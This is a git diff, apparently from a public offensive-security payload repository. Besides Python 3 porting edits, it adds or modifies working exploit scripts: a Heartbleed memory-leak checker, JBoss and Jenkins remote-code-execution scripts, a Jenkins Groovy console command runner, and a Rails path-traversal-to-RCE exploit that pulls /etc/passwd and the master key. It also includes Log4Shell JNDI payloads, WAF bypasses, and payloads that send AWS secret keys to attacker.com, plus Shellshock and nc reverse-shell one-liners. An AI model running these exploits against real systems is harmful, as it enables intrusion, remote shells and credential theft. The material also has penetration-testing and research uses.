container_name = container['Names'][0].replace('/','')
|
||||||
print(container_id, container_name)
|
print((container_id, container_name))
|
||||||
|
|
||||||
# Step 2 - Prepare command
|
# Step 2 - Prepare command
|
||||||
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
|
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
|
||||||
|
|||||||
0
CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb
Executable file → Normal file
0
CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb
Executable file → Normal file
51
CVE Exploits/Heartbleed CVE-2014-0160.py
Executable file → Normal file
51
CVE Exploits/Heartbleed CVE-2014-0160.py
Executable file → Normal file
@@ -4,6 +4,9 @@
|
|||||||
# The author disclaims copyright to this source code.
|
# The author disclaims copyright to this source code.
|
||||||
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
|
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import str
|
||||||
|
from builtins import range
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
import socket
|
import socket
|
||||||
@@ -61,12 +64,12 @@ def hexdump(s, dumpf, quiet):
|
|||||||
dump.write(s)
|
dump.write(s)
|
||||||
dump.close()
|
dump.close()
|
||||||
if quiet: return
|
if quiet: return
|
||||||
for b in xrange(0, len(s), 16):
|
for b in range(0, len(s), 16):
|
||||||
lin = [c for c in s[b : b + 16]]
|
lin = [c for c in s[b : b + 16]]
|
||||||
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
||||||
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
||||||
print ' %04x: %-48s %s' % (b, hxdat, pdat)
|
print(' %04x: %-48s %s' % (b, hxdat, pdat))
|
||||||
print
|
print()
|
||||||
|
|
||||||
def recvall(s, length, timeout=5):
|
def recvall(s, length, timeout=5):
|
||||||
endtime = time.time() + timeout
|
endtime = time.time() + timeout
|
||||||
@@ -92,57 +95,57 @@ def recvall(s, length, timeout=5):
|
|||||||
def recvmsg(s):
|
def recvmsg(s):
|
||||||
hdr = recvall(s, 5)
|
hdr = recvall(s, 5)
|
||||||
if hdr is None:
|
if hdr is None:
|
||||||
print 'Unexpected EOF receiving record header - server closed connection'
|
print('Unexpected EOF receiving record header - server closed connection')
|
||||||
return None, None, None
|
return None, None, None
|
||||||
typ, ver, ln = struct.unpack('>BHH', hdr)
|
typ, ver, ln = struct.unpack('>BHH', hdr)
|
||||||
pay = recvall(s, ln, 10)
|
pay = recvall(s, ln, 10)
|
||||||
if pay is None:
|
if pay is None:
|
||||||
print 'Unexpected EOF receiving record payload - server closed connection'
|
print('Unexpected EOF receiving record payload - server closed connection')
|
||||||
return None, None, None
|
return None, None, None
|
||||||
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
|
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
|
||||||
return typ, ver, pay
|
return typ, ver, pay
|
||||||
|
|
||||||
def hit_hb(s, dumpf, host, quiet):
|
def hit_hb(s, dumpf, host, quiet):
|
||||||
while True:
|
while True:
|
||||||
typ, ver, pay = recvmsg(s)
|
typ, ver, pay = recvmsg(s)
|
||||||
if typ is None:
|
if typ is None:
|
||||||
print 'No heartbeat response received from '+host+', server likely not vulnerable'
|
print('No heartbeat response received from '+host+', server likely not vulnerable')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if typ == 24:
|
if typ == 24:
|
||||||
if not quiet: print 'Received heartbeat response:'
|
if not quiet: print('Received heartbeat response:')
|
||||||
hexdump(pay, dumpf, quiet)
|
hexdump(pay, dumpf, quiet)
|
||||||
if len(pay) > 3:
|
if len(pay) > 3:
|
||||||
print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
|
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
|
||||||
else:
|
else:
|
||||||
print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
|
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if typ == 21:
|
if typ == 21:
|
||||||
if not quiet: print 'Received alert:'
|
if not quiet: print('Received alert:')
|
||||||
hexdump(pay, dumpf, quiet)
|
hexdump(pay, dumpf, quiet)
|
||||||
print 'Server '+ host +' returned error, likely not vulnerable'
|
print('Server '+ host +' returned error, likely not vulnerable')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def connect(host, port, quiet):
|
def connect(host, port, quiet):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
if not quiet: print 'Connecting...'
|
if not quiet: print('Connecting...')
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
s.connect((host, port))
|
s.connect((host, port))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
def tls(s, quiet):
|
def tls(s, quiet):
|
||||||
if not quiet: print 'Sending Client Hello...'
|
if not quiet: print('Sending Client Hello...')
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
s.send(hello)
|
s.send(hello)
|
||||||
if not quiet: print 'Waiting for Server Hello...'
|
if not quiet: print('Waiting for Server Hello...')
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
def parseresp(s):
|
def parseresp(s):
|
||||||
while True:
|
while True:
|
||||||
typ, ver, pay = recvmsg(s)
|
typ, ver, pay = recvmsg(s)
|
||||||
if typ == None:
|
if typ == None:
|
||||||
print 'Server closed connection without sending Server Hello.'
|
print('Server closed connection without sending Server Hello.')
|
||||||
return 0
|
return 0
|
||||||
# Look for server hello done message.
|
# Look for server hello done message.
|
||||||
if typ == 22 and ord(pay[0]) == 0x0E:
|
if typ == 22 and ord(pay[0]) == 0x0E:
|
||||||
@@ -156,10 +159,10 @@ def check(host, port, dumpf, quiet, starttls):
|
|||||||
s.ehlo()
|
s.ehlo()
|
||||||
s.starttls()
|
s.starttls()
|
||||||
except smtplib.SMTPException:
|
except smtplib.SMTPException:
|
||||||
print 'STARTTLS not supported...'
|
print('STARTTLS not supported...')
|
||||||
s.quit()
|
s.quit()
|
||||||
return False
|
return False
|
||||||
print 'STARTTLS supported...'
|
print('STARTTLS supported...')
|
||||||
s.quit()
|
s.quit()
|
||||||
s = connect(host, port, quiet)
|
s = connect(host, port, quiet)
|
||||||
s.settimeout(1)
|
s.settimeout(1)
|
||||||
@@ -170,7 +173,7 @@ def check(host, port, dumpf, quiet, starttls):
|
|||||||
s.send('starttls\r\n')
|
s.send('starttls\r\n')
|
||||||
re = s.recv(1024)
|
re = s.recv(1024)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
print 'Timeout issues, going ahead anyway, but it is probably broken ...'
|
print('Timeout issues, going ahead anyway, but it is probably broken ...')
|
||||||
tls(s,quiet)
|
tls(s,quiet)
|
||||||
else:
|
else:
|
||||||
s = connect(host, port, quiet)
|
s = connect(host, port, quiet)
|
||||||
@@ -179,13 +182,13 @@ def check(host, port, dumpf, quiet, starttls):
|
|||||||
version = parseresp(s)
|
version = parseresp(s)
|
||||||
|
|
||||||
if version == 0:
|
if version == 0:
|
||||||
if not quiet: print "Got an error while parsing the response, bailing ..."
|
if not quiet: print("Got an error while parsing the response, bailing ...")
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
version = version - 0x0300
|
version = version - 0x0300
|
||||||
if not quiet: print "Server TLS version was 1.%d\n" % version
|
if not quiet: print("Server TLS version was 1.%d\n" % version)
|
||||||
|
|
||||||
if not quiet: print 'Sending heartbeat request...'
|
if not quiet: print('Sending heartbeat request...')
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
if (version == 1):
|
if (version == 1):
|
||||||
s.send(hbv10)
|
s.send(hbv10)
|
||||||
@@ -205,8 +208,8 @@ def main():
|
|||||||
options.print_help()
|
options.print_help()
|
||||||
return
|
return
|
||||||
|
|
||||||
print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
|
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
|
||||||
for i in xrange(0,opts.num):
|
for i in range(0,opts.num):
|
||||||
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
|
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
# Jboss Java Deserialization RCE (CVE-2015-7501)
|
# Jboss Java Deserialization RCE (CVE-2015-7501)
|
||||||
# Made with <3 by @byt3bl33d3r
|
# Made with <3 by @byt3bl33d3r
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
import requests
|
import requests
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
@@ -36,26 +37,26 @@ else:
|
|||||||
ysoserial_path = args.ysoserial_path
|
ysoserial_path = args.ysoserial_path
|
||||||
|
|
||||||
if ysoserial_path is None:
|
if ysoserial_path is None:
|
||||||
print '[-] Could not find ysoserial JAR file'
|
print('[-] Could not find ysoserial JAR file')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if len(args.target.split(":")) != 2:
|
if len(args.target.split(":")) != 2:
|
||||||
print '[-] Target must be in format IP:PORT'
|
print('[-] Target must be in format IP:PORT')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if not args.command:
|
if not args.command:
|
||||||
print '[-] You must specify a command to run'
|
print('[-] You must specify a command to run')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
ip, port = args.target.split(':')
|
ip, port = args.target.split(':')
|
||||||
|
|
||||||
print '[*] Target IP: {}'.format(ip)
|
print('[*] Target IP: {}'.format(ip))
|
||||||
print '[*] Target PORT: {}'.format(port)
|
print('[*] Target PORT: {}'.format(port))
|
||||||
|
|
||||||
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||||
|
|
||||||
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
|
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
|
||||||
|
|
||||||
if r.status_code == 200:
|
if r.status_code == 200:
|
||||||
print '[+] Command executed successfully'
|
print('[+] Command executed successfully')
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -4,6 +4,7 @@
|
|||||||
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
||||||
#Made with <3 by @byt3bl33d3r
|
#Made with <3 by @byt3bl33d3r
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
import requests
|
import requests
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
@@ -23,17 +24,17 @@ if len(sys.argv) < 2:
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if len(args.target.split(':')) != 2:
|
if len(args.target.split(':')) != 2:
|
||||||
print '[-] Target must be in format IP:PORT'
|
print('[-] Target must be in format IP:PORT')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if not args.command:
|
if not args.command:
|
||||||
print '[-] You must specify a command to run'
|
print('[-] You must specify a command to run')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
ip, port = args.target.split(':')
|
ip, port = args.target.split(':')
|
||||||
|
|
||||||
print '[*] Target IP: {}'.format(ip)
|
print('[*] Target IP: {}'.format(ip))
|
||||||
print '[*] Target PORT: {}'.format(port)
|
print('[*] Target PORT: {}'.format(port))
|
||||||
|
|
||||||
xml_formatted = ''
|
xml_formatted = ''
|
||||||
command_list = args.command.split()
|
command_list = args.command.split()
|
||||||
@@ -67,11 +68,11 @@ xml_payload = '''<map>
|
|||||||
</entry>
|
</entry>
|
||||||
</map>'''.format(xml_formatted.strip())
|
</map>'''.format(xml_formatted.strip())
|
||||||
|
|
||||||
print '[*] Generated XML payload:'
|
print('[*] Generated XML payload:')
|
||||||
print xml_payload
|
print(xml_payload)
|
||||||
print
|
print()
|
||||||
|
|
||||||
print '[*] Sending payload'
|
print('[*] Sending payload')
|
||||||
headers = {'Content-Type': 'text/xml'}
|
headers = {'Content-Type': 'text/xml'}
|
||||||
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
||||||
|
|
||||||
@@ -79,5 +80,5 @@ paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
|
|||||||
if r.status_code == 500:
|
if r.status_code == 500:
|
||||||
for path in paths_in_trace:
|
for path in paths_in_trace:
|
||||||
if path in r.text:
|
if path in r.text:
|
||||||
print '[+] Command executed successfully'
|
print('[+] Command executed successfully')
|
||||||
break
|
break
|
||||||
|
|||||||
32
CVE Exploits/Jenkins Groovy Console.py
Normal file
32
CVE Exploits/Jenkins Groovy Console.py
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
|
||||||
|
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import input
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
print("""
|
||||||
|
Jenkins Groovy Console cmd runner.
|
||||||
|
|
||||||
|
usage: ./jgc.py [HOST]
|
||||||
|
|
||||||
|
Then type any command and wait for STDOUT output from remote machine.
|
||||||
|
Type 'exit' to exit :)
|
||||||
|
""")
|
||||||
|
URL = sys.argv[1] + '/scriptText'
|
||||||
|
HEADERS = {
|
||||||
|
'User-Agent': 'jgc'
|
||||||
|
}
|
||||||
|
|
||||||
|
while 1:
|
||||||
|
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
|
||||||
|
if CMD == 'exit':
|
||||||
|
print("exiting...\n")
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
DATA = {
|
||||||
|
'script': 'println "{}".execute().text'.format(CMD)
|
||||||
|
}
|
||||||
|
result = requests.post(URL, headers=HEADERS, data=DATA)
|
||||||
|
print(result.text)
|
||||||
105
CVE Exploits/Log4Shell.md
Normal file
105
CVE Exploits/Log4Shell.md
Normal file
@@ -0,0 +1,105 @@
|
|||||||
|
# CVE-2021-44228 Log4Shell
|
||||||
|
|
||||||
|
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Vulnerable code](#vulnerable-code)
|
||||||
|
* [Payloads](#payloads)
|
||||||
|
* [Scanning](#scanning)
|
||||||
|
* [WAF Bypass](#waf-bypass)
|
||||||
|
* [Exploitation](#exploitation)
|
||||||
|
* [Environment variables exfiltration](#environment-variables-exfiltration)
|
||||||
|
* [Remote Command Execution](#remote-command-execution)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Vulnerable code
|
||||||
|
|
||||||
|
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
|
||||||
|
https://github.com/leonjza/log4jpwn)
|
||||||
|
```java
|
||||||
|
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
|
||||||
|
logger.info("Received a request for API version " + apiVersion);
|
||||||
|
return "Hello, world!";
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Payloads
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Identify Java version and hostname
|
||||||
|
${jndi:ldap://${java:version}.domain/a}
|
||||||
|
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
|
||||||
|
${jndi:ldap://${sys:java.version}.domain/a}
|
||||||
|
${jndi:ldap://${sys:java.vendor}.domain/a}
|
||||||
|
${jndi:ldap://${hostName}.domain/a}
|
||||||
|
${jndi:dns://${hostName}.domain}
|
||||||
|
|
||||||
|
# More enumerations keywords and variables
|
||||||
|
java:os
|
||||||
|
docker:containerId
|
||||||
|
web:rootDir
|
||||||
|
bundle:config:db.password
|
||||||
|
```
|
||||||
|
|
||||||
|
## Scanning
|
||||||
|
|
||||||
|
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||||
|
```powershell
|
||||||
|
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
|
||||||
|
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
|
||||||
|
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
|
||||||
|
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
|
||||||
|
```
|
||||||
|
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
|
||||||
|
|
||||||
|
|
||||||
|
## WAF Bypass
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
|
||||||
|
|
||||||
|
# using lower and upper
|
||||||
|
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
|
||||||
|
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
|
||||||
|
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
|
||||||
|
|
||||||
|
# using env to create the letter
|
||||||
|
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
|
||||||
|
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
### Environment variables exfiltration
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
|
||||||
|
|
||||||
|
# AWS Access Key
|
||||||
|
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Remote Command Execution
|
||||||
|
|
||||||
|
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
|
||||||
|
```ps1
|
||||||
|
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
|
||||||
|
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
|
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
|
||||||
|
```
|
||||||
|
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||||
|
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
|
||||||
|
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||||
@@ -1,16 +1,63 @@
|
|||||||
# Common Vulnerabilities and Exposures
|
# Common Vulnerabilities and Exposures
|
||||||
Big CVEs in the last 5 years.
|
|
||||||
|
|
||||||
## CVE-2014-0160 - Heartbleed
|
## Big CVEs in the last 5 years.
|
||||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
|
||||||
|
|
||||||
## CVE-2014-6271 - Shellshock
|
### CVE-2017-0144 - EternalBlue
|
||||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
|
||||||
|
EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
|
||||||
|
|
||||||
|
Afftected systems:
|
||||||
|
- Windows Vista SP2
|
||||||
|
- Windows Server 2008 SP2 and R2 SP1
|
||||||
|
- Windows 7 SP1
|
||||||
|
- Windows 8.1
|
||||||
|
- Windows Server 2012 Gold and R2
|
||||||
|
- Windows RT 8.1
|
||||||
|
- Windows 10 Gold, 1511, and 1607
|
||||||
|
- Windows Server 2016
|
||||||
|
|
||||||
|
### CVE-2017-5638 - Apache Struts 2
|
||||||
|
|
||||||
## CVE-2017-5638 - Apache Struts 2
|
|
||||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
||||||
|
|
||||||
|
### CVE-2018-7600 - Drupalgeddon 2
|
||||||
|
|
||||||
|
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
|
||||||
|
|
||||||
|
### CVE-2019-0708 - BlueKeep
|
||||||
|
|
||||||
|
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
||||||
|
|
||||||
|
### CVE-2019-19781 - Citrix ADC Netscaler
|
||||||
|
|
||||||
|
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||||
|
|
||||||
|
Affected products:
|
||||||
|
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
|
||||||
|
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
|
||||||
|
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
|
||||||
|
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
|
||||||
|
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
|
||||||
|
|
||||||
|
## Older, but not forgotten
|
||||||
|
|
||||||
|
### CVE-2014-0160 - Heartbleed
|
||||||
|
|
||||||
|
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||||
|
|
||||||
|
### CVE-2014-6271 - Shellshock
|
||||||
|
|
||||||
|
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
|
||||||
|
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
|
||||||
|
```
|
||||||
|
|
||||||
## Thanks to
|
## Thanks to
|
||||||
* http://heartbleed.com
|
|
||||||
* https://en.wikipedia.org/wiki/Shellshock_(software_bug)
|
* [Heartbleed - Official website](http://heartbleed.com)
|
||||||
|
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
||||||
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
||||||
|
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
|
||||||
|
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
|
||||||
|
|||||||
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
require 'erb'
|
||||||
|
require "./demo-5.2.1/config/environment"
|
||||||
|
require "base64"
|
||||||
|
require 'net/http'
|
||||||
|
|
||||||
|
$proxy_addr = '127.0.0.1'
|
||||||
|
$proxy_port = 8080
|
||||||
|
|
||||||
|
$remote = "http://172.18.0.3:3000"
|
||||||
|
$ressource = "/demo"
|
||||||
|
|
||||||
|
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
|
||||||
|
|
||||||
|
print "[+] Checking if vulnerable to CVE-2019-5418 => "
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.body.include? "root:x:0:0:root:"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Getting file => credentials.yml.enc => "
|
||||||
|
path = "../../../../../../../../../../config/credentials.yml.enc{{"
|
||||||
|
for $i in 0..9
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = path[3..57]
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
|
||||||
|
break
|
||||||
|
end
|
||||||
|
path = path[3..57]
|
||||||
|
$i +=1;
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Getting file => master.key => "
|
||||||
|
path = "../../../../../../../../../../config/master.key{{"
|
||||||
|
for $i in 0..9
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = path[3..57]
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
File.open("master.key", 'w') { |file| file.write(res.body) }
|
||||||
|
break
|
||||||
|
end
|
||||||
|
